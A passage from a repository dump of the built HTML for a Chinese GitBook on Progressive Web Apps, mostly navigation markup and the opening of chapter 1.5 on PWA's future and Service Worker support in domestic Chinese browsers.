fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter01/4-how-is-pwa-going.md\",\"mtime\":\"2019-06-19T10:37:41.916Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter01/5-the-future-of-pwa.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>1.5 PWA 的未来 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"6-your-first-pwa.html\" />\n    \n    \n    <link rel=\"prev\" href=\"4-how-is-pwa-going.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"1-how-was-pwa-born.html\">\n            \n                <a href=\"1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"2-what-is-pwa.html\">\n            \n                <a href=\"2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"3-what-are-key-techs.html\">\n            \n                <a href=\"3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"4-how-is-pwa-going.html\">\n            \n                <a href=\"4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.2.5\" data-path=\"5-the-future-of-pwa.html\">\n            \n                <a href=\"5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"6-your-first-pwa.html\">\n            \n                <a href=\"6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >1.5 PWA 的未来</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#pwa-&#x7684;&#x672A;&#x6765;\"><b></b>PWA &#x7684;&#x672A;&#x6765;</a></li></ul></div><a href=\"#pwa-&#x7684;&#x672A;&#x6765;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"pwa-&#x7684;&#x672A;&#x6765;\"><a name=\"pwa-&#x7684;&#x672A;&#x6765;\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x7684;&#x672A;&#x6765;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x7684;&#x672A;&#x6765;\" class=\"plugin-anchor\" href=\"#pwa-&#x7684;&#x672A;&#x6765;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x7684;&#x672A;&#x6765;</h1>\n<p>&#x4ECE; Google &#x6700;&#x521D;&#x63D0;&#x51FA; PWA &#x5230;&#x73B0;&#x5728;&#xFF0C;PWA &#x5DF2;&#x7ECF;&#x6709;&#x4E0D;&#x5C0F;&#x7684;&#x6539;&#x53D8;&#x4E86;&#xFF0C;&#x8FD9;&#x5C31;&#x662F; Web &#x7684;&#x9B45;&#x529B;&#xFF0C;&#x9075;&#x5FAA;&#x6807;&#x51C6;&#x4E14;&#x5B8C;&#x5168;&#x5F00;&#x653E;&#x7684;&#x9B45;&#x529B;&#xFF0C;&#x6765;&#x81EA;&#x4E16;&#x754C;&#x5404;&#x5730;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x53C2;&#x4E0E;&#x6807;&#x51C6;&#x7684;&#x5236;&#x5B9A;&#xFF0C;&#x5B83;&#x8FD8;&#x5728;&#x4E0D;&#x65AD;&#x8FDB;&#x5316;&#xFF0C;Web &#x5373;&#x4F7F;&#x5DF2;&#x7ECF; 30 &#x5C81;&#x4E86;&#xFF0C;&#x5B83;&#x8FD8;&#x4F9D;&#x65E7;&#x662F;&#x88AB;&#x5E7F;&#x6CDB;&#x5E94;&#x7528;&#x7684;&#x6280;&#x672F;&#x4E4B;&#x4E00;&#x3002;</p>\n<p>&#x5173;&#x6CE8; Web &#x6807;&#x51C6;&#x5316;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x4F1A;&#x5728;&#x6807;&#x51C6;&#x6587;&#x6863;&#x91CC;&#x53D1;&#x73B0;&#x5F88;&#x591A;&#x6709;&#x610F;&#x601D;&#x7684;&#x63D0;&#x6848;&#xFF0C;&#x6709; Web &#x84DD;&#x7259;&#x3001;Web XR &#x7B49;&#xFF0C;&#x5728; <a href=\"https://www.w3.org/2018/10/TPAC/\" target=\"_blank\">TPAC Lyon 2018</a> &#x4E0A;&#xFF0C;Intel &#x7684;&#x5F00;&#x53D1;&#x8005;&#x6F14;&#x793A;&#x4E86;&#x4ED6;&#x4EEC;&#x5F00;&#x53D1;&#x7684; Web Machine Learning &#x7684; DEMO&#xFF0C;Web &#x4E5F;&#x80FD;&#x76F4;&#x63A5;&#x5229;&#x7528; NPU &#x6765;&#x8FDB;&#x884C;&#x6DF1;&#x5EA6;&#x5B66;&#x4E60;&#x7684;&#x8BA1;&#x7B97;&#xFF0C;&#x8BA9;&#x6211;&#x89C9;&#x5F97; Web &#x8FD8;&#x80FD;&#x518D;&#x6218; 30 &#x5E74;&#xFF0C;&#x6211;&#x5BF9;&#x6B64;&#x5145;&#x6EE1;&#x4FE1;&#x5FC3;&#x3002;</p>\n<p>&#x5728;&#x56FD;&#x5916;&#xFF0C;PWA &#x5DF2;&#x7ECF;&#x88AB;&#x5E7F;&#x6CDB;&#x5E94;&#x7528;&#xFF0C;&#x4E5F;&#x88AB;&#x7528;&#x6237;&#x6240;&#x63A5;&#x53D7;&#x3002;&#x5728;&#x7B14;&#x8005;&#x521A;&#x4ECE;&#x4E8B; Web &#x751F;&#x6001;&#x76F8;&#x5173;&#x5DE5;&#x4F5C;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x56FD;&#x5185;&#x624D;&#x521A;&#x521A;&#x63A5;&#x89E6;&#x5230; PWA &#x8FD9;&#x4E2A;&#x6982;&#x5FF5;&#xFF0C;UC &#x6D4F;&#x89C8;&#x5668;&#x7684;&#x5185;&#x6838;&#x7248;&#x672C;&#x8FD8;&#x662F; Chrome 3x&#xFF0C;&#x8FDE; ES6 &#x90FD;&#x652F;&#x6301;&#x7684;&#x4E0D;&#x5168;&#xFF0C;&#x66F4;&#x522B;&#x8BF4;&#x662F; Service Worker&#x3001;Web App Manifest &#x7B49; PWA &#x6280;&#x672F;&#x4E86;&#x3002;UC &#x6D4F;&#x89C8;&#x5668;&#x5E76;&#x4E0D;&#x662F;&#x4E2A;&#x4F8B;&#xFF0C;&#x56FD;&#x5185;&#x5382;&#x5546; App &#x5185;&#x6838;&#x7248;&#x672C;&#x51E0;&#x4E4E;&#x90FD;&#x4E0D;&#x652F;&#x6301; Service Worker&#x3002;&#x4E0D;&#x8FC7;&#x4E5F;&#x5C31;&#x5728;&#x4E0D;&#x5230;&#x4E00;&#x5E74;&#x7684;&#x65F6;&#x95F4;&#x91CC;&#xFF0C;&#x8FD9;&#x4E9B;&#x6D4F;&#x89C8;&#x5668;&#x5C31;&#x90FD;&#x652F;&#x6301;&#x4E86; Service Worker&#xFF0C;&#x8BA9;&#x4EBA;&#x4E0D;&#x5F97;&#x4E0D;&#x611F;&#x53F9;&#x56FD;&#x5185;&#x4E92;&#x8054;&#x7F51;&#x8FDB;&#x6B65;&#x4E4B;&#x5FEB;&#xFF0C;&#x56FD;&#x5185;&#x4E3B;&#x6D41;&#x6D4F;&#x89C8;&#x5668;&#x5BF9; Service Worker &#x7684;&#x652F;&#x6301;&#x5EA6;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/is_service_worker_ready.png\" alt=\"Service Worker &#x7684;&#x652F;&#x6301;&#x5EA6;\"></p>\n<p>&#x9664;&#x4E86; Service Worker &#x7B49;&#x4E3B;&#x6D41; PWA &#x6280;&#x672F;&#x5916;&#xFF0C;W3C &#x4E5F;&#x4E00;&#x76F4;&#x5728;&#x63A8;&#x8FDB; Device API &#x7684;&#x6807;&#x51C6;&#x3002;&#x5728; MDN&#xFF0C;&#x6709;&#x4E00;&#x4E2A; Web API &#x7684;&#x7D22;&#x5F15;&#xFF0C;<a href=\"https://developer.mozilla.org/zh-CN/docs/WebAPI\" 